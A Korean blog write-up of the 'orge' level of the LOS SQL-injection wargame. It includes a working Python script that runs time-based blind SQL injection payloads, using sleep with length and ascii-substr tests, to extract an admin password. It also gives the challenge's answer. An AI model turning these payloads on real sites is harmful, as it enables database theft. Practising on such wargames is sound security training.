728x90
반응형
- 4번 orc 문제를 풀 때, 뭐가 잘못되어서 비밀번호의 길이를 구하는 코드가 작동하지 않는다고 했는데
- 지나가시던 우리의 뉴스쿨 갓 선배님께서 id가 'admin'으로 특정되지 않아서 4자리 숫자인 비밀번호를 가진 데이터를 먼저 불러와서 그렇다는 댓글을 남겨주셨다.(아리가또-센빠이☆)
- 그래서 천천히 코드를 다시보니 거의 막줄에 아래와 같은 코드가 있었다.
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
- 결국 마지막에 저 쿼리가 실행되니 id='admin'의 조건을 넣었어야 했다.
- 그래서 결국 아래의 코드와 같이 완전하게 비밀번호의 길이와 비밀번호를 알려주는 파이썬의 코드를 짰다.
import requests
url ='https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=' #url 주소 입력
def find_pw_len():
pw_len=0
while 1:
pw_len=pw_len+1
value = "' || id='admin' %26%26 if(length(pw)={}, sleep(3), 1)%23".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
cookies={'PHPSESSID' : '내 세션 값임'}
response = requests.get(url+value, cookies=cookies)
# print(response.url)
if(response.elapsed.total_seconds() > 3):
print("길이는? =",pw_len)
break
print("시도중 입니다!:",pw_len)
return pw_len
def find_pw():
pw_len=find_pw_len()
string=''
for pw_value in range(1,pw_len+1):
for ascii in range(48,122):
value ="' || id='admin' %26%26 if(ascii(substr(pw,{},1))={}, sleep(3), 1)%23".format(pw_value,ascii)
cookies={'PHPSESSID' : '님 세션 값 넣으셈'}
response = requests.get(url+value, cookies=cookies)
# print(response.url)
if(response.elapsed.total_seconds() > 2):
string = string + chr(ascii)
print("{}번 째의 pw의 값은!".format(pw_value),string)
break
print("{}번 째의 password를 찾고 있습니다. --> {}".format(pw_value,chr(ascii)))
print(string)
find_pw()
결과:
정답: https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=7b751aec
728x90
반응형
'Hacking > LOS' 카테고리의 다른 글
[LOS] 9. vampire (0) | 2023.07.06 |
---|---|
[LOS] 8. troll (0) | 2023.07.06 |
[LOS] 6. darkelf (0) | 2023.07.06 |
[LOS] 5. wolfman (0) | 2023.07.06 |
[LOS] 4. orc (5) | 2023.07.05 |